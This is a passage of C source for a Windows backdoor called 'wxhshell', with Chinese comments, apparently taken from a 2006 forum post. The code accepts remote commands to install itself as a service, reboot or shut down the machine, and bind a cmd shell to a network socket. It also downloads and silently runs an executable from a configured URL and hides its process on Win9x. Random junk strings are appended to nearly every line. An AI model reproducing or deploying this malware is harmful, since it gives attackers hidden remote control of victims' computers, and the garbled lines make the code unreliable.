  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f=+mIZ  
  } |MTnH/|  
  else { ^ox=HNV  
@Z_x.Y6  
    switch(cmd[0]) { 0Uz"^xO["  
  >.Pnkx*  
  // 帮助 L8@f-Kk  
  case '?': { c`)\Pb/O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); etQCzYIhn  
    break; udK%>  
  } w0 M>[ 4  
  // 安装 1;bh^WMJ  
  case 'i': { >%_\;svZG  
    if(Install()) pHGYQ;:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C$=%!wf  
    else ~f2z]JLr:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x`eo"5.$  
    break; 1 &jc/*Z"  
    } M/B_#yK  
  // 卸载 RXMISt3+{y  
  case 'r': { /aCc17>2V{  
    if(Uninstall()) df8k7D;~e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l ~"^7H?4e  
    else @-07F,'W,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|KyNBn  
    break; 1/B>XkCJ  
    } U7,e/?a  
  // 显示 wxhshell 所在路径 |w~nVRb  
  case 'p': { ZoW?nxY  
    char svExeFile[MAX_PATH]; G`D`Af/B  
    strcpy(svExeFile,"\n\r"); vQG5*pR*w  
      strcat(svExeFile,ExeFile); @Rze| T.  
        send(wsh,svExeFile,strlen(svExeFile),0); ;J( 8 L  
    break; 6xmZXp d!  
    } 3lL-)<0A(  
  // 重启 F}yW/  
  case 'b': { ](]i 'fE>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [-1^-bb  
    if(Boot(REBOOT)) @}u*|P*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%na>G  
    else { tPWLg),  
    closesocket(wsh); c% -Tem'#  
    ExitThread(0); T9|m7  
    } HQ_Ok `  
    break; ^rR1ZVY  
    } v |,1[i{  
  // 关机 wYXQlxdy  
  case 'd': { :wyno#8`-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vi$~-6n&  
    if(Boot(SHUTDOWN)) "m$##X\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IZ-1c1   
    else { J9nX"Sb  
    closesocket(wsh); PCee<W_%YE  
    ExitThread(0); / y40(l?  
    } \[i1JG  
    break;  `,*3[  
    } [ZwjOi:)  
  // 获取shell lN 4oW3QT  
  case 's': { V*;(kEqj  
    CmdShell(wsh); |-67 \p]  
    closesocket(wsh); <]t%8GB2V  
    ExitThread(0); QD&`^(X1p  
    break; u(.e8~s8  
  } B2vh-%63  
  // 退出 z=\&i\>;Z+  
  case 'x': { j?\Qh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vkV0On  
    CloseIt(wsh); a 7 V-C  
    break; 2DDtu[}  
    } 'W^YM@  
  // 离开 cxC6n%!;y  
  case 'q': {  @tnz]^V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K:[F%e  
    closesocket(wsh); epe)a  
    WSACleanup(); ;%9|k U  
    exit(1); 9!\B6=r y4  
    break; DH!~ BB;  
        } OX7M8cmc+  
  } m4Qh%}9%  
  } <8&au(I,vB  
a(X@Q8l:  
  // 提示信息 `UyG_;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '3tCH)s  
} FIhk@TKa  
  } (*'f+R`$  
&-6Gc;f8  
  return; 2 c{34:  
} 9ULQrq$?  
S!CC }3zw  
// shell模块句柄 CAWNDl4  
int CmdShell(SOCKET sock) BoWg0*5xb  
{ (k.[GfCbD  
STARTUPINFO si; 1N-\j0au  
ZeroMemory(&si,sizeof(si)); Y\k#*\'Y~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z'n:@E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &i6mW8l  
PROCESS_INFORMATION ProcessInfo; n0 {i&[I~+  
char cmdline[]="cmd"; 9wwqcx)3(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OX!tsARC@  
  return 0; 19)i*\+  
} I;|B.j  
sY Qk  
// 自身启动模式 _S1>j7RQo  
int StartFromService(void) j{A y\n(  
{ "Ac-tzhE  
typedef struct DV-d(@`K  
{ %s|Ely)  
  DWORD ExitStatus; X`>i& I]  
  DWORD PebBaseAddress; E6ElNgL  
  DWORD AffinityMask; hx%v+/  
  DWORD BasePriority; Rtl"Ub@HV  
  ULONG UniqueProcessId; (m/G(wg  
  ULONG InheritedFromUniqueProcessId; osAd1<EIC  
}   PROCESS_BASIC_INFORMATION; f}f9@>.  
>*_$]E  
PROCNTQSIP NtQueryInformationProcess; 4F'LBS]=0  
Jhhb7uU+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 266h\2t6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E,U+o $  
kJsN|=  
  HANDLE             hProcess; & G4\2l9  
  PROCESS_BASIC_INFORMATION pbi; mSF(q78?  
E A1?)|}n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WiR(;m<g  
  if(NULL == hInst ) return 0; ]Ie 0S~  
J @1!Oq>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )~JHgl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }rw8PZ9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E KLyma&}Y  
]MitOkX  
  if (!NtQueryInformationProcess) return 0; kfY}S  
3$>1FoSk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VU]`&`~J  
  if(!hProcess) return 0; |N7M^  
N +_t-5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xy[3u?,&s!  
| rtD.,m   
  CloseHandle(hProcess); !ons]^km  
MaQqs=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9vc2VB$  
if(hProcess==NULL) return 0; }@q`%uzi  
FbFPJ !fb  
HMODULE hMod; ,Uqs1#r  
char procName[255]; joAv{Tc  
unsigned long cbNeeded; f+)L#>Gl?  
C1n>M}b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H3=qe I  
s)D;a-F  
  CloseHandle(hProcess); ,Ah;A[%?~  
FHg 9OI67  
if(strstr(procName,"services")) return 1; // 以服务启动 7# Kn8s  
/{n-Y/j p  
  return 0; // 注册表启动 KBc1{adDx@  
} )g%d:xI  
`e&Suyf4B  
// 主模块 FGmb<z 2p  
int StartWxhshell(LPSTR lpCmdLine) <=/hi l  
{ L^?qOylu  
  SOCKET wsl; +lcbi  
BOOL val=TRUE; 4p;`C  
  int port=0; -- 95Jz  
  struct sockaddr_in door; #r\4sVg  
.|fH y  
  if(wscfg.ws_autoins) Install(); \V~eVf;~  
Moza".fiN  
port=atoi(lpCmdLine); j>"@,B g*  
J<h $ wM  
if(port<=0) port=wscfg.ws_port; `l[c_%Bm  
D'Df JwA  
  WSADATA data; !M1"b;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3,qr-g|;jM  
;$wVu|&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !?h;wR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >SHhAEF  
  door.sin_family = AF_INET; ul>3B4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?1 4{J]H4  
  door.sin_port = htons(port); K Z91-  
n 0L^e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S|N_o   
closesocket(wsl); =X:Y,?  
return 1; E*K;H8}s  
} _A9AEi'.  
z46~@y%k  
  if(listen(wsl,2) == INVALID_SOCKET) { xfe+n$~ c  
closesocket(wsl); jm/`iXnMf  
return 1; `1fY)d^ZS  
} >0TxUc_va  
  Wxhshell(wsl); Feq]U?  
  WSACleanup(); o 3P${Rq  
h3 }OX{k  
return 0; ?%[@Qb=2  
[waIi3Dv\  
} `b7t4d*  
Iit; F  
// 以NT服务方式启动 ?IT*: A] E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U$z-e/  
{ meO:@Z0  
DWORD   status = 0; )Y{L&A  
  DWORD   specificError = 0xfffffff; +',S]Edx  
+#@I~u _}D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W.KDVE$}f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S;#'M![8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /@TF5]Ri  
  serviceStatus.dwWin32ExitCode     = 0; je=a/Y=%U{  
  serviceStatus.dwServiceSpecificExitCode = 0; "J_9WUN  
  serviceStatus.dwCheckPoint       = 0; >_T-u<E  
  serviceStatus.dwWaitHint       = 0; s9DYi~/,  
h J)h\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y _k l:Ssa  
  if (hServiceStatusHandle==0) return; }Oq5tC@$G  
vV-`jsq20H  
status = GetLastError(); w%jII{@,  
  if (status!=NO_ERROR) A#iV=76_  
{ ]jp6k<KF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1K50Z.o&@  
    serviceStatus.dwCheckPoint       = 0; Y&Z.2>b  
    serviceStatus.dwWaitHint       = 0; GH$pKB  
    serviceStatus.dwWin32ExitCode     = status; bP&]!jZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; S3 Xl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'e'cb>GnA  
    return; 5K8^WK  
  } $5%SNzzl  
srrgvG,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z5*'{t)  
  serviceStatus.dwCheckPoint       = 0; 1?+St`+{B-  
  serviceStatus.dwWaitHint       = 0; @Qt{jI !  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k>si5'W  
} _g"<UV*H  
i2SR{e8:GF  
// 处理NT服务事件,比如:启动、停止 5MJS ~(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #BH*Z(  
{ `1IgzKL9  
switch(fdwControl) Yufc{M00  
{ $suzW;{#  
case SERVICE_CONTROL_STOP: -;WGS o  
  serviceStatus.dwWin32ExitCode = 0; ^WWQI+pk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vy:Z/1q  
  serviceStatus.dwCheckPoint   = 0; |[b{)s?x  
  serviceStatus.dwWaitHint     = 0; t!7-DF|N  
  { ZyFjFHe+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?)d~cJ  
  } ^v7gIC  
  return; 5">Z'+8  
case SERVICE_CONTROL_PAUSE: D_zZXbNc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; suDQ~\ n  
  break; hf&9uHN%7m  
case SERVICE_CONTROL_CONTINUE: f x+/C8GK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 88wa7i*  
  break; ri-b=|h2j  
case SERVICE_CONTROL_INTERROGATE: 1\I}2;  
  break; q9s=~d7  
}; Jij*x>K>y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ID5q~  
} _u QOHwn  
8&b,qQ~  
// 标准应用程序主函数 C,|,-CY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %| Lfuz*  
{ ^SrJu:Q_  
OYn}5RN  
// 获取操作系统版本 FXkM#}RgNm  
OsIsNt=GetOsVer(); > /caXvS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "oO%`:pb  
/jJw0 5;L  
  // 从命令行安装 FJ)$f?=Qd  
  if(strpbrk(lpCmdLine,"iI")) Install(); n,WqyNt*  
-m~#Bq  
  // 下载执行文件 PALc;"]O  
if(wscfg.ws_downexe) { :,6\"y-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aO4?m+  
  WinExec(wscfg.ws_filenam,SW_HIDE); draN0v f  
} &6nWzF  
~oY^;/ j  
if(!OsIsNt) { \z(gqkc 6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?^\|-Gr  
HideProc(); Z"fJ`--  
StartWxhshell(lpCmdLine); .U]-j\  
} \LexR.Di  
else 9CD_ os\h  
  if(StartFromService()) H$UcF1k<  
  // 以服务方式启动 ~2-1 j  
  StartServiceCtrlDispatcher(DispatchTable); *VT/  
else 1/J=uH  
  // 普通方式启动 9~[Y-cpoi  
  StartWxhshell(lpCmdLine); I9ep`X6Y  
&gx%b*;`L0  
return 0; Q>i^s@0  
}
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只看该作者 1 发表于: 2006-10-10
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